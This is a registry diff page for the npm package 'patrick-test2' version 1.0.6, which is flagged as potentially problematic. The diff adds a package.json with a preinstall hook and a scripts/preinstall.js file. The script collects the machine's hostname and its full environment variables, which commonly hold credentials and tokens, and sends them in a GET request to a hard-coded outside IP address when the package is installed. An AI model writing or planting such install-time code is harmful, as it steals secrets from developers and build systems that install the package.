patrick-test2 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of patrick-test2 might be problematic. Click here for more details.
- package/package.json +20 -0
- package/scripts/preinstall.js +38 -0
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "patrick-test2",
|
3
|
+
"version": "1.0.6",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "jest",
|
7
|
+
"preinstall": "node scripts/prinstall.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/pputman12/test-nodejs.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"plugin"
|
15
|
+
],
|
16
|
+
"devDependencies": {
|
17
|
+
"jest": "^24.9.0",
|
18
|
+
"solhint": "^3.3.0"
|
19
|
+
}
|
20
|
+
}
|
@@ -0,0 +1,38 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const querystring = require('querystring');
|
3
|
+
|
4
|
+
var os = require("os");
|
5
|
+
var hostname = os.hostname();
|
6
|
+
var environment = JSON.stringify(process.env)
|
7
|
+
|
8
|
+
var fs = require('fs');
|
9
|
+
|
10
|
+
|
11
|
+
// GET parameters
|
12
|
+
const parameters = {
|
13
|
+
filename: __filename,
|
14
|
+
hostname: hostname,
|
15
|
+
all: environment
|
16
|
+
}
|
17
|
+
|
18
|
+
// GET parameters as query string : "?id=123&type=post"
|
19
|
+
const get_request_args = querystring.stringify(parameters);
|
20
|
+
|
21
|
+
|
22
|
+
const options = {
|
23
|
+
hostname: '35.192.198.159',
|
24
|
+
port: 443,
|
25
|
+
path: '/' + get_request_args,
|
26
|
+
method: 'GET',
|
27
|
+
};
|
28
|
+
|
29
|
+
const req = http.request(options, res => {
|
30
|
+
// console.log(`statusCode: ${res.statusCode}`);
|
31
|
+
|
32
|
+
res.on('data', d => {
|
33
|
+
process.stdout.write(d);
|
34
|
+
});
|
35
|
+
});
|
36
|
+
|
37
|
+
req.end();
|
38
|
+
|